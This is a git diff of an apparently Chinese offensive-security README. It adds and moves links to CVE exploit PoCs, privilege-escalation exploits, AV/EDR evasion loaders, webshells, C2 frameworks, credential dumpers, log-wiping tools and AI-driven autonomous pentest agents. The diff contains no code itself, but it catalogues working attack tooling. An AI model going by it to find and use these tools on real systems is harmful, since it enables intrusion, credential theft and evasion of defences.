[macOS-Kernel-Exploit](./vuln_pocs/exploit-tools/macOS-Kernel-Exploit) - [CVE-2019-1388 UAC提权 (nt authority\system)](https://github.com/jas502n/CVE-2019-1388) @@ -871,11 +1005,11 @@ - [CVE-2020-0674: Internet Explorer远程代码执行漏洞检测](https://github.com/binaryfigments/CVE-2020-0674) -- [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md) +- [CVE-2020-8794: OpenSMTPD 远程命令执行漏洞](./web/CVE-2020-8794-OpenSMTPD%20远程命令执行漏洞.md) - [Linux平台-CVE-2020-8597: PPPD 远程代码执行漏洞](https://github.com/marcinguy/CVE-2020-8597) -- [Windows-CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC) +- [Windows-CVE-2020-0796:疑似微软SMBv3协议“蠕虫级”漏洞](https://cert.360.cn/warning/detail?id=04f6a686db24fcfa478498f55f3b79ef)|[相关讨论](https://linustechtips.com/main/topic/1163724-smbv3-remote-code-execution-cve-2020-0796/)|[CVE-2020–0796检测与修复](./pc/CVE-2020-0796检测与修复.md)|[又一个CVE-2020-0796的检测工具-可导致目标系统崩溃重启](https://github.com/eerykitty/CVE-2020-0796-PoC) - [WinRAR 代码执行漏洞 (CVE-2018-20250)-POC](https://github.com/Ridter/acefile)|[相关文章](https://research.checkpoint.com/2019/extracting-code-execution-from-winrar/)|[全网筛查 WinRAR 代码执行漏洞 (CVE-2018-20250)](https://xlab.tencent.com/cn/2019/02/22/investigating-winrar-code-execution-vulnerability-cve-2018-20250-at-internet-scale/) @@ -931,9 +1065,9 @@ - [【Linux提权】CVE-2021-3560 Local PrivEsc Exploit](https://github.com/swapravo/polkadots)|[CVE-2021-3560-Authentication-Agent](https://github.com/RicterZ/CVE-2021-3560-Authentication-Agent) -- [【windows提权】CVE-2021-1675 Windows Print Spooler远程代码执行漏洞](./CVE-2021-1675.md) +- [【windows提权】CVE-2021-1675 Windows Print Spooler远程代码执行漏洞](./privesc/CVE-2021-1675.md) -- [【Linux提权】CVE-2021-22555: Linux Netfilter本地权限提升漏洞](./CVE-2021-22555.md) +- [【Linux提权】CVE-2021-22555: Linux Netfilter本地权限提升漏洞](./privesc/CVE-2021-22555.md) - [【Linux提权】CVE-2021-33909:Linux kernel 本地提权漏洞](https://github.com/Liang2580/CVE-2021-33909) @@ -941,7 +1075,7 @@ - [【Linux提权】CVE-2021-3490:Linux kernel 缓冲区错误漏洞](https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490) -- [【Linux 提权】CVE-2022-2602: Linux io_uring子系统UAF漏洞漏洞利用POC,可用于本地提权](https://github.com/LukeGix/CVE-2022-2602) +- [【Linux 提权】CVE-2022-2602: Linux io_uring子系统UAF漏洞漏洞利用POC,可用于本地提权](https://github.com/LukeGix/CVE-2022-2602)|[CVE-2022-2602-Kernel-Exploit:另一个io_uring UAF内核提权利用](https://github.com/kiks7/CVE-2022-2602-Kernel-Exploit) - [CVE-2021-34473:Microsoft Exchange Server Remote Code Execution](https://github.com/phamphuqui1998/CVE-2021-34473)|[proxyshell-auto:自动化的ProxyShell漏洞利用](https://github.com/Udyz/proxyshell-auto) @@ -999,7 +1133,7 @@ - [cve-2022-26809:RPC 高危漏洞](https://github.com/corelight/cve-2022-26809)|[PoC-CVE-2022-26809](https://github.com/s1ckb017/PoC-CVE-2022-26809)|[相关分析文章](https://paper.seebug.org/1906/) -- [CVE-2022-30190:Microsoft Office Word Rce ](https://github.com/bytecaps/CVE-2022-30190)|[CVE-2022-30190](https://github.com/JMousqueton/PoC-CVE-2022-30190)|[follina.py:CVE-2022-30190 检测工具](https://github.com/chvancooten/follina.py)|[CVE-2022-30190:又一个](https://github.com/onecloudemoji/CVE-2022-30190)|[CVE-2022-30190-follina-Office-MSDT-Fixed:可以自定义word模板](https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed)|[CVE-2022-30190---Follina---Poc-Exploit](https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit) +- [CVE-2022-30190:Microsoft Office Word Rce](https://github.com/bytecaps/CVE-2022-30190)|[CVE-2022-30190](https://github.com/JMousqueton/PoC-CVE-2022-30190)|[follina.py:CVE-2022-30190 检测工具](https://github.com/chvancooten/follina.py)|[CVE-2022-30190:又一个](https://github.com/onecloudemoji/CVE-2022-30190)|[CVE-2022-30190-follina-Office-MSDT-Fixed:可以自定义word模板](https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed)|[CVE-2022-30190---Follina---Poc-Exploit](https://github.com/WesyHub/CVE-2022-30190---Follina---Poc-Exploit) - [【Windows 提权】CVE-2021-31956-EXP:Windows 内核堆栈溢出漏洞利用工具](https://github.com/aazhuliang/CVE-2021-31956-EXP) @@ -1045,15 +1179,32 @@ - [CVE-2023-27363: Foxit PDF Reader及Editor任意代码执行漏洞](https://github.com/j00sean/SecBugs/tree/main/CVEs/CVE-2023-27363) +- [CVE-2026-34621:Adobe Acrobat Reader 原型污染与JS注入利用链(CVE-2026-34621/34622/34626),可实现沙箱内特权JS执行及本地文件读取外带](https://github.com/azefzafyoussef/CVE-2026-34621) + - [keepass-password-dumper: CVE-2023-32784 KeePass 信息泄露漏洞](https://github.com/vdohney/keepass-password-dumper) - [百度网盘(7.59.5.104) Windows客户端存在命令注入漏洞](https://mrxn.net/news/baidupan-windows-client-rce.html) +- [【Linux提权】CVE-2026-31431:Copy Fail Linux内核页缓存权限提升漏洞(影响2017年后几乎所有发行版)](https://github.com/theori-io/copy-fail-CVE-2026-31431) | [Copy-Fail-CVE-2026-31431-Kubernetes-PoC](https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC) + +- [【Linux提权】CVE-2026-43284/CVE-2026-43500:Dirty Frag Linux内核页缓存写漏洞](https://github.com/Percivalll/Dirty-Frag-Kubernetes-PoC)|[dirty-frag-check:漏洞检测工具](https://github.com/haydenjames/dirty-frag-check) + +- [【Linux提权】CVE-2026-46300:Fragnesia Linux内核提权漏洞](https://github.com/Sentebale/CVE-2026-46300)|[另一个CVE-2026-46300利用](https://github.com/0xBlackash/CVE-2026-46300) + ## tools-小工具集版本合 +- [RAPTOR(递归自主渗透测试与观测机器人):基于 Claude Code 的自主攻防安全研究框架,可自动完成代码攻击面分析、Semgrep/CodeQL 漏洞扫描、AFL 模糊测试、漏洞分析与 PoC 生成、自动补丁修复及结构化报告输出的全流程渗透测试](https://github.com/gadievron/raptor) +- [LuaN1aoAgent(鸾鸟Agent):大模型驱动、认知驱动的 AI 渗透测试智能体(AI Hacker),具备自主规划、工具编排和因果推理能力,采用 P-E-R(Planner-Executor-Reflector)协同框架和双图推理架构](https://github.com/SanMuzZzZz/LuaN1aoAgent) +- [Darkmoon(暗月):开源自主式 AI 渗透测试平台,通过 Markdown 剧本与智能体推理编排 80 多种攻击工具,基于 MCP 控制执行,覆盖 Web、云、Active Directory、Kubernetes、API 与内网渗透,并为每个发现提供证据链,模型无关且针对 Claude Opus 优化](https://github.com/ASCIT31/Dark-Moon) +- [Pentest-Swarm-AI:基于多智能体协作的自动化渗透测试框架](https://github.com/Armur-Ai/Pentest-Swarm-AI) +- [BreachWeave:基于多智能体(Manager/Solver/Observer)协同架构的智能化渗透测试与漏洞挖掘平台](https://github.com/m-sec-org/BreachWeave) +- [anything-analyzer:全场景抓包 + AI 自动分析工具,支持网页/桌面应用/终端/脚本/手机/IoT 等所有来源流量统一汇入同一 Session,一键生成协议逆向/安全审计/JS 加密逆向报告,并内置 MCP Server 可被 Claude Desktop、Cursor 等直接调用](https://github.com/Mouseww/anything-analyzer) +- [nano-analyzer:基于 LLM 的轻量级零日漏洞扫描器,通过三阶段 AI 流水线(上下文生成→漏洞扫描→怀疑性分类)对源代码进行安全审计](https://github.com/weareaisle/nano-analyzer) +- [Anthropic-Cybersecurity-Skills:面向 AI 智能体与安全从业者的结构化网络安全技能库,包含 754 个生产级安全技能,映射 MITRE ATT&CK、NIST CSF 2.0 等安全框架,兼容 Claude Code、GitHub Copilot、Cursor 等 20 多种 AI 平台](https://github.com/mukul975/Anthropic-Cybersecurity-Skills) +- [Payloader:中英双语的交互式安全载荷参考平台,涵盖 Web 应用安全与内网渗透,包含 300+ 条精心编排的攻防载荷、攻击链可视化、工具命令集(Nmap/SQLMap/Burp/Metasploit)和编解码工具](https://github.com/3516634930/Payloader) - [java环境下任意文件下载情况自动化读取源码的小工具](https://github.com/Artemis1029/Java_xmlhack) - [Linux SSH登录日志清除/伪造](./tools/ssh) - [python2的socks代理](./tools/s5.py) @@ -1083,9 +1234,11 @@ - [sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper](./tools/sqlmap_bypass_空格替换成换行符-某企业建站程序过滤_tamper.py) - [sqlmap_bypass_云锁_tamper](./tools/sqlmap_bypass_云锁_tamper.py) - [sqlmap bypass云锁tamper(利用云锁的注释不拦截缺陷,来自t00ls师傅)](https://github.com/Hsly-Alexsel/Bypass)-[t00ls原文地址](https://www.t00ls.net/thread-57788-1-1.html)|[项目留存PDF版本](./books/10种方法绕过云锁以及tamper.pdf) +- [ByPassTamperPlus:针对SQLMap开发的加强版Tamper脚本集合,通过利用特定数据库版本特性和高级混淆技术绕过现代WAF防护,支持MSSQL、MySQL和Oracle](https://github.com/Tas9er/ByPassTamperPlus) - [masscan+nmap扫描脚本](./tools/masscan%2Bnmap.py) - [PHP解密扩展](https://github.com/Albert-Zhan/php-decrypt) - [linux信息收集/应急响应/常见后门检测脚本](https://github.com/al0ne/LinuxCheck) +- [ProcIR-Windows 应急响应进程排查工具,面向安全工程师的一键式应急响应工具,快速定位木马、后门、持久化、白加黑、内存注入等威胁](https://github.com/dogadmin/ProcIR) - [RdpThief-从远程桌面客户端提取明文凭据辅助工具](https://github.com/0x09AL/RdpThief) - [使用powershell或CMD直接运行命令反弹shell](https://github.com/ZHacker13/ReverseTCPShell) - [GitHack-.git泄露利用脚本](https://github.com/lijiejie/GitHack) @@ -1105,7 +1258,7 @@ - [内网常见渗透工具包](https://github.com/yuxiaokui/Intranet-Penetration) - [从内存中加载 SHELLCODE bypass AV查杀](https://github.com/brimstone/go-shellcode)|[twitter示例](https://twitter.com/jas502n/status/1213847002947051521) - [流量转发工具-pingtunnel是把tcp/udp/sock5流量伪装成icmp流量进行转发的工具](https://github.com/esrrhs/pingtunnel) -- [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./adduser添加用户.md) |[【windows】绕过杀软添加管理员用户的两种方法](https://github.com/lengjibo/RedTeamTools/tree/master/windows/bypass360%E5%8A%A0%E7%94%A8%E6%88%B7)|[【windows】使用vbs脚本添加管理员用户](./使用vbs脚本添加管理员用户.md) +- [内网渗透-创建Windows用户(当net net1 等常见命令被过滤时,一个文件执行直接添加一个管理员【需要shell具有管理员权限l】](https://github.com/newsoft/adduser)|[adduser使用方法](./privesc/adduser添加用户.md) |[【windows】绕过杀软添加管理员用户的两种方法](https://github.com/lengjibo/RedTeamTools/tree/master/windows/bypass360%E5%8A%A0%E7%94%A8%E6%88%B7)|[【windows】使用vbs脚本添加管理员用户](./privesc/使用vbs脚本添加管理员用户.md) - [NetUser-使用windows api添加用户,可用于net无法使用时(支持Nim版本)](https://github.com/lengjibo/NetUser) - [pypykatz-通过python3实现完整的Mimikatz功能(python3.6+)](https://github.com/skelsec/pypykatz) - [【windows】Bypassing AV via in-memory PE execution-通过在内存中加载多次XOR后的payload来bypass杀软](https://blog.dylan.codes/bypassing-av-via/)|[作者自建gitlab地址](https://git.dylan.codes/batman/darkarmour) @@ -1132,7 +1285,7 @@ - [SharpToolsAggressor-内网渗透中常用的c#程序整合成cs脚本,直接内存加载](https://github.com/uknowsec/SharpToolsAggressor) - [【漏洞库】又一个各种漏洞poc、Exp的收集或编写](https://github.com/coffeehb/Some-PoC-oR-ExP) - [【内网代理】内网渗透代理转发利器reGeorg](https://github.com/sensepost/reGeorg)|相关文章:[配置reGeorg+Proxifier渗透内网](https://www.k0rz3n.com/2018/07/06/如何使用reGeorg+Proxifier渗透内网)|[reGeorg+Proxifier实现内网sock5代理](http://jean.ink/2018/04/26/reGeorg/)|[内网渗透之reGeorg+Proxifier](https://sky666sec.github.io/2017/12/16/内网渗透之reGeorg-Proxifier)|[reGeorg+Proxifier使用](https://xz.aliyun.com/t/228) -- [【内网代理】Neo-reGeorg重构的reGeorg ](https://github.com/L-codes/Neo-reGeorg) +- [【内网代理】Neo-reGeorg重构的reGeorg](https://github.com/L-codes/Neo-reGeorg) - [【内网代理】Tunna-通过http隧道将TCP流量代理出来](https://github.com/SECFORCE/Tunna) - [【内网代理】proxy.php-单文件版的php代理](https://github.com/mcnemesis/proxy.php) - [【内网代理】pivotnacci-通过HTTP隧道将TCP流量代理出来或进去](https://github.com/blackarrowsec/pivotnacci) @@ -1175,7 +1328,7 @@ - [【Android 移动app渗透】之一键提取APP敏感信息](https://github.com/TheKingOfDuck/ApkAnalyser) - [【android 移动app渗透】apkleaks-扫描APK文件提取URL、终端和secret](https://github.com/dwisiswant0/apkleaks) - [ShiroExploit-Deprecated-Shiro系列漏洞检测GUI版本-ShiroExploit GUI版本](https://github.com/feihong-cs/ShiroExploit-Deprecated) -- [通过phpinfo获取cookie突破httponly](./通过phpinfo获取cookie突破httponly.md) +- [通过phpinfo获取cookie突破httponly](./web/通过phpinfo获取cookie突破httponly.md) - [phpstudy RCE 利用工具 windows GUI版本](https://github.com/aimorc/phpstudyrce) - [WebAliveScan-根据端口快速扫描存活的WEB](https://github.com/broken5/WebAliveScan) - [bscan-bscan的是一款强大、简单、实用、高效的HTTP扫描器。(WebAliveScan的升级版本)](https://github.com/broken5/bscan) @@ -1442,10 +1595,11 @@ - [sharpwmi:一个基于rpc的横向移动工具,具有上传文件和执行命令功能](https://github.com/QAX-A-Team/sharpwmi) - [RedWarden:灵活的配置C2反向代理来隐藏自己的CS](https://github.com/mgeeky/RedWarden) - [MemoryShellLearn:java内存马的学习记录以及demo](https://github.com/bitterzzZZ/MemoryShellLearn) -- [图形化漏洞利用Demo-JavaFX版:ExpDemo-JavaFX ](https://github.com/yhy0/ExpDemo-JavaFX) +- [图形化漏洞利用Demo-JavaFX版:ExpDemo-JavaFX](https://github.com/yhy0/ExpDemo-JavaFX) - [Security_Product:开源安全产品源码](https://github.com/birdhan/Security_Product) - [flask_memory_shell:Flask 内存马](https://github.com/iceyhexman/flask_memory_shell) - [SourceDetector:用于发现源码文件(*.map)的chrome插件](https://github.com/SunHuawei/SourceDetector) +- [SnowEyes(雪瞳):Chrome/Edge 浏览器扩展,用于检测和提取网页中的敏感信息,支持动态内容扫描、深度扫描、Webpack 适配及网站指纹检测](https://github.com/SickleSec/SnowEyes) - [CrossNet-Beta:红队行动中利用白利用、免杀、自动判断网络环境生成钓鱼可执行文件](https://github.com/dr0op/CrossNet-Beta) - [slopShell:一款功能强大的PHP Webshell](https://github.com/oldkingcone/slopShell) - [rustcat:netcat的代替品](https://github.com/robiot/rustcat) @@ -1526,7 +1680,7 @@ - [EXOCET-AV-Evasion:可绕过杀软的 Payload 投递工具](https://github.com/tanc7/EXOCET-AV-Evasion) - [DNSlog-GO:DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具,自带WEB界面](https://github.com/lanyi1998/DNSlog-GO) - [SCFProxy:一个利用腾讯云函数服务做 HTTP 代理、SOCKS5 代理、反弹 shell、C2 域名隐藏的工具](https://github.com/shimmeris/SCFProxy) -- [firezone:通过 web 界面来管理 wireguard ](https://github.com/firezone/firezone) +- [firezone:通过 web 界面来管理 wireguard](https://github.com/firezone/firezone) - [Atlas:帮助你快速筛选测试能够绕过 waf 的 sqlmap tamper](https://github.com/m4ll0k/Atlas) - [cobaltstrike-bof-toolset:在cobaltstrike中使用的bof工具集,收集整理验证好用的bof](https://github.com/AttackTeamFamily/cobaltstrike-bof-toolset) - [domainNamePredictor:一个简单的现代化公司域名使用规律预测及生成工具](https://github.com/LandGrey/domainNamePredictor) @@ -1565,7 +1719,7 @@ - [Sec-Tools:一款基于Python-Django的多功能Web安全渗透测试工具,包含漏洞扫描,端口扫描,指纹识别,目录扫描,旁站扫描,域名扫描等功能](https://github.com/jwt1399/Sec-Tools) - [Fvuln:漏洞批量扫描集合工具(闭源)](https://github.com/d3ckx1/Fvuln) - [MySQL_Fake_Server:用于渗透测试过程中的假MySQL服务器,纯原生python3实现,不依赖其它包](https://github.com/fnmsd/MySQL_Fake_Server) -- [ysomap:一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload,以应对不同场景下的反序列化利用](https://github.com/wh1t3p1g/ysomap) +- [ysomap:一款适配于各类实际复杂环境的Java反序列化利用框架,可动态配置具备不同执行效果的Java反序列化利用链payload,以应对不同场景下的反序列化利用](https://github.com/wh1t3p1g/ysomap)|[ysogate:Java反序列化利用工具,集成多种利用链和绕过方式](https://github.com/H4cking2theGate/ysogate) - [CobaltStrike_CNA:使用多种WinAPI进行权限维持的CobaltStrike脚本,包含API设置系统服务,设置计划任务,管理用户等(CVE-2020-0796+CVE-2020-0787)](https://github.com/yanghaoi/CobaltStrike_CNA) - [webshell-bypassed-human:过人 webshell 的生成工具](https://github.com/Macr0phag3/webshell-bypassed-human) - [BlueShell:一个Go语言编写的持续远控工具,拿下靶机后,根据操作系统版本下载部署对应的bsClient,其会每隔固定时间向指定的C&C地址发起反弹连接尝试,在C&C端运行bsServer即可连接bsClient,从而实现对靶机的持续控制](https://github.com/whitehatnote/BlueShell) @@ -1669,6 +1823,7 @@ - [AgentInjectTool:改造BeichenDream/InjectJDBC加入shiro获取key和修改key功能](https://github.com/SummerSec/AgentInjectTool) - [ByPassBehinder4J:冰蝎Java WebShell免杀生成](https://github.com/Tas9er/ByPassBehinder4J) - [ecapture:通过 hook ebpf 技术,无需CA证书,进行HTTPS的明文通讯抓包、bash 命令捕获和 MySQL query 等数据库审计](https://github.com/ehids/ecapture) +- [Wireshark-MCP:基于 MCP Server 将 tshark 转化为结构化分析接口,让 AI 助手直接分析 pcap 数据包文件,支持 Claude Desktop、Cursor 等 MCP 兼容客户端](https://github.com/bx33661/Wireshark-MCP) - [udpme:从协议层面借助 EDNS0 过滤掉有问题的 UDP 报文](https://github.com/IrineSistiana/udpme) - [FirmWire:支持三星和联发科的全系统基带固件分析平台](https://github.com/FirmWire/FirmWire) - [apache-afl:使用 AFL++ 对 Apache httpd 进行 Fuzz 的自动化配置](https://github.com/0xbigshaq/apache-afl) @@ -1692,6 +1847,7 @@ - [tetanus:用 rust 开发的一款针对 Windows 和Linux 的 C2 工具](https://github.com/MythicAgents/tetanus) - [mortar:可有效规避安全产品的检测 shellcode 加载器](https://github.com/0xsp-SRD/mortar) - [go-mitmproxy:用 Golang 实现的中间人攻击,解析、监测、篡改 HTTP/HTTPS 流量](https://github.com/lqqyt2423/go-mitmproxy) +- [Rockxy:macOS 开源 HTTP 调试代理工具,支持拦截 HTTP/HTTPS 流量、检查 API 请求、调试 WebSocket 连接及分析 GraphQL 查询,基于 Swift/SwiftNIO 构建](https://github.com/LocNguyenHuu/Rockxy) - [dll_inject_vs_binaries:将 dll 注入指定进程](https://github.com/mrd0x/dll_inject_vs_binaries) - [go4Hacker:golang 编写支持 DNSLOG、HTTPLOG、Rebinding和多用户的工具,支持 docker 一键部署](https://github.com/hktalent/go4Hacker) - [GetMail:利用NTLM Hash读取Exchange邮件](https://github.com/b0bac/GetMail) @@ -1822,6 +1978,7 @@ - [python-shellcode-loader:python免杀shellcode加载器 加密混淆](https://github.com/HZzz2/python-shellcode-loader) - [go-shellcode-loader:GO免杀shellcode加载器混淆AES加密](https://github.com/HZzz2/go-shellcode-loader) - [ThinkphpGUI:Thinkphp(GUI)漏洞利用工具,支持各版本TP漏洞检测,命令执行,getshell和日志泄露检查](https://github.com/Lotus6/ThinkphpGUI) +- [ThinkPHPGUI:使用JavaFX编写的ThinkPHP的GUI漏洞检测利用工具](https://github.com/AgonySec/ThinkPHPGUI) - [webprobe:一款快速探测web存活并获取title的工具](https://github.com/damit5/webprobe) - [CHAOS:开源远控管理工具](https://github.com/tiagorlampert/CHAOS) - [gitdorks_go:一款在github上发现敏感信息的自动化收集工具](https://github.com/damit5/gitdorks_go) @@ -1877,6 +2034,7 @@ - [bypassuac](https://github.com/liuxigu/bypassuac) - [ActuatorExploit:SpringBoot Actuator未授权自动化利用,支持信息泄漏/RCE](https://github.com/LFYSec/ActuatorExploit) - [SharpMapExec:CrackMapExec的C#实现版本](https://github.com/cube0x0/SharpMapExec)|[CrackMapExec:一款针对大型Windows活动目录(AD)的后渗透工具](https://github.com/byt3bl33d3r/CrackMapExec) +- [adscan:一款专为 Linux 设计的 Active Directory (AD) 自动化内网渗透与攻击路径映射工具,支持全自动化 AD 枚举、Kerberoasting/AS-REP Roasting、ADCS 漏洞利用等多阶段攻击工作流](https://github.com/ADScanPro/adscan) - [MiniDump:用C# 实现的dump lsass 进程工具](https://github.com/cube0x0/MiniDump) - [KrbRelay:Kerberos中继框架](https://github.com/cube0x0/KrbRelay) - [CurveBall:CVE-2020-0601 ECC证书欺骗漏洞利用工具](https://github.com/ly4k/CurveBall) @@ -1942,6 +2100,7 @@ - [wsMemShell:一种全新的内存马](https://github.com/veo/wsMemShell) - [WeblogicExploit-GUI:Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行](https://github.com/sp4zcmd/WeblogicExploit-GUI) - [BOF-RegSave:使用BOF转储 SAM / SECURITY / SYSTEM 注册表配置单元](https://github.com/EncodeGroup/BOF-RegSave) +- [BlueSAM:BlueHammer 的 Cobalt Strike BOF 移植版,通过 Windows Defender 更新/VSS 行为获取 SAM 数据库副本并在 Beacon 中离线解析注册表](https://github.com/incursi0n/BlueSAM) - [SharpToken:.NET版本的incognito,具有以下功能:枚举Token、从指定进程枚举Token、获得交互式shell、获取命令执行结果(webshell下执行)](https://github.com/BeichenDream/SharpToken) - [qsocks:基于 quic 的 socks5代理工具](https://github.com/net-byte/qsocks) - [CallStackSpoofer:用于在进行系统调用时欺骗任意调用堆栈的 PoC 实现(例如,通过 NtOpenProcess 获取句柄)](https://github.com/countercept/CallStackSpoofer) @@ -2064,14 +2223,14 @@ - [rustfuzz:rust 编写的基本 web fuzz 工具](https://github.com/d4rckh/rustfuzz) - [geacon:修改自geacon的多功能linux运维管理工具](https://github.com/TheKingOfDuck/geacon) - [Direct-NtCreateUserProcess](https://github.com/D0pam1ne705/Direct-NtCreateUserProcess) -- [SuperRDP:修复某些版本Windows 不支持 RDP ](https://github.com/anhkgg/SuperRDP) +- [SuperRDP:修复某些版本Windows 不支持 RDP](https://github.com/anhkgg/SuperRDP) - [InjectDllTool:多功能DLL注入工具:远程线程注入、消息钩子注入、输入法注入、APC注入、EIP注入、注册表注入](https://github.com/MountCloud/InjectDllTool) - [Cobalt_Strike_Bot:CobaltStrike上线通知,飞书群聊机器人、server酱通知](https://github.com/r1is/Cobalt_Strike_Bot) - [Cobalt-Strike:常用 CS 脚本](https://github.com/Mikasazero/Cobalt-Strike) - [SharpBypassUAC](https://github.com/FatRodzianko/SharpBypassUAC) - [htpwdScan:HTTP暴力破解、撞库测试工具](https://github.com/lijiejie/htpwdScan) - [SQLiDetector:Python 编写的用于检查 SQL 回显注入漏洞的工具](https://github.com/eslam3kl/SQLiDetector) -- [Logsensor:用于发现登录面板和 POST 表单的 SQLi ](https://github.com/Mr-Robert0/Logsensor) +- [Logsensor:用于发现登录面板和 POST 表单的 SQLi](https://github.com/Mr-Robert0/Logsensor) - [rfas:让FRP以Windows服务运行](https://github.com/pphuahua/rfas) - [goby-poc:439个goby poc,可能会有重复自行判断,来源于网络收集的Goby&POC,实时更新](https://github.com/MY0723/goby-poc) - [PrivilegeHelper:cs维权插件](https://github.com/fdbao/PrivilegeHelper) @@ -2126,6 +2285,7 @@ - [go-memorydll:内存 dll 的 go 包装器](https://github.com/nkbai/go-memorydll) - [SQLJam:一个探索数据库查询新方法的 jam 项目](https://github.com/bvisness/SQLJam) - [Webpackfind:类似Packer-Fuzzer的Webpack自动化信息收集工具](https://github.com/xz-zone/Webpackfind) +- [Webpack_extract:自动化收集js、自动化加载js、自动化分析js的Chrome插件](https://github.com/xz-zone/Webpack_extract) - [estk:查询和备份各种 Elasticsearch 和 Kibana 版本的数据工具](https://github.com/LeakIX/estk) - [webcgi-exploits:多语言 Web CGI 接口漏洞利用](https://github.com/wofeiwo/webcgi-exploits) - [TripleCross:A Linux eBPF rootkit with a backdoor](https://github.com/h3xduck/TripleCross) @@ -2181,7 +2341,7 @@ - [FilelessPELoader: 在内存中加载远程AES加密过的PE文件并解密运行](https://github.com/TheD1rkMtr/FilelessPELoader) - [DarkAngel:一款全自动白帽漏洞扫描器,从hackerone、bugcrowd资产监听到漏洞报告生成、企业微信通知](https://github.com/Bywalks/DarkAngel) - [boopkit:Linux eBPF backdoor over TCP](https://github.com/krisnova/boopkit) -- [EDR-Bypass-demo:Some demos to bypass EDRs or AVs ](https://github.com/7BitsTeam/EDR-Bypass-demo) +- [EDR-Bypass-demo:Some demos to bypass EDRs or AVs](https://github.com/7BitsTeam/EDR-Bypass-demo) - [seeyonExp:致远命令执行漏洞系列的GUI利用工具](https://github.com/kai1025/seeyonExp) - [vapi:API漏洞练习靶场](https://github.com/roottusk/vapi) - [APIKiller:API漏洞扫描、检测工具](https://github.com/Aur0ra-m/APIKiller) @@ -2190,6 +2350,7 @@ - [IDOR_detect_tool:一款API水平越权漏洞检测工具](https://github.com/y1nglamore/IDOR_detect_tool) - [URLFinder:类似JSFinder的golang实现,一款用于快速提取检测页面中JS与URL的工具,更快更全更舒服](https://github.com/pingc0y/URLFinder) - [go_proxy_pool:无环境依赖开箱即用的代理IP池](https://github.com/pingc0y/go_proxy_pool) +- [zenproxy:代理池管理与转发服务,支持代理订阅管理、质量检测与多IP并发出口](https://github.com/streetartist/zenproxy) - [SmallProxyPool:一个免费高质量的小代理池(从fofa搜索开放socks5代理)](https://github.com/Ggasdfg321/SmallProxyPool) - [NucleiTP:自动整合全网Nuclei的漏洞POC,实时同步更新最新POC](https://github.com/ExpLangcn/NucleiTP) - [Amsi-Killer:Lifetime AMSI bypass-终极AMSI bypass](https://github.com/ZeroMemoryEx/Amsi-Killer) @@ -2233,11 +2394,12 @@ - [RpcsDemo: 利用RPC协议在内网中的一些攻击面{DumpLsass,AddUser,ChangeNtlm,TSCH_DESK,OXIDINterka_network_card,CreateService等}](https://github.com/M0nster3/RpcsDemo) - [WeblogicTool: WeblogicTool,GUI漏洞利用工具,支持漏洞检测、命令执行、内存马注入、密码解密等](https://github.com/KimJun1010/WeblogicTool) - [BaRMIe: Java RMI enumeration and attack tool.](https://github.com/NickstaDB/BaRMIe) -- [fpp: fpp (free proxy pool) 基于Golang的开箱即用跨平台的免费代理池,IP代理池,HTTP代理池。 ](https://github.com/HaliComing/fpp) +- [fpp: fpp (free proxy pool) 基于Golang的开箱即用跨平台的免费代理池,IP代理池,HTTP代理池。](https://github.com/HaliComing/fpp) - [NoMoney: 一款集成了fofa,zoomeye(钟馗之眼),censys,奇安信的鹰图平台,360quake,且完全免费的信息收集工具](https://github.com/H-Limbus/NoMoney) - [scrying: A tool for collecting RDP, web and VNC screenshots all in one place](https://github.com/nccgroup/scrying) - [noterce: 一种另辟蹊径的免杀执行系统命令的木马](https://github.com/xiao-zhu-zhu/noterce) - [SysWhispers3WinHttp: 基于SysWhispers3项目增添WinHttp分离加载功能,可免杀绕过360核晶与Defender](https://github.com/huaigu4ng/SysWhispers3WinHttp) +- [SysWhispers4: AV/EDR evasion via direct and indirect system calls,通过直接/间接系统调用绕过AV/EDR对ntdll.dll的用户态钩子,支持 Windows NT 3.1 - Windows 11 24H2,x64/x86/WoW64/ARM64](https://github.com/JoasASantos/SysWhispers4) - [MisConfig_HTTP_Proxy_Scanner: 扫描错误的nginx反代和转发配置,已发现内网资产(类似hosts碰撞)](https://github.com/lijiejie/MisConfig_HTTP_Proxy_Scanner) - [UserRegEnum_0x727: 域内普通域用户权限查找域内所有计算机上登录的用户](https://github.com/0x727/UserRegEnum_0x727) - [fuzzuli: 基于域名的关键备份文件扫描工具](https://github.com/musana/fuzzuli) @@ -2277,8 +2439,9 @@ - [chunsou: (春蒐)Python3编写的多线程Web指纹识别工具,适用于安全测试人员前期的资产识别、风险收敛以及企业互联网资产风险摸查](https://github.com/Funsiooo/chunsou) - [java-gate: 通过简单的 `Java` 代码实现 `Hell's Gate` 相关技术(直接的系统调用)](https://github.com/4ra1n/java-gate) - [WIKI-POC: 漏洞库【OA以及各种web APP漏洞】](https://github.com/7estUser/WIKI-POC) -- [FineReportExploit: 基于go语言的帆软报表漏洞检测工具](https://github.com/Drac0nids/FineReportExploit) +- [FineReportExploit (Go): 基于go语言的帆软报表漏洞检测工具](https://github.com/Drac0nids/FineReportExploit)|[FineReportExploit (Python): 帆软漏洞批量检测脚本](https://github.com/Drun1baby/FineReportExploit) - [SSRFmap: 自动化SSRF漏洞探测](https://github.com/swisskyrepo/SSRFmap) +- [nextssrf:CVE-2026-44578 Next.js WebSocket Upgrade Handler SSRF 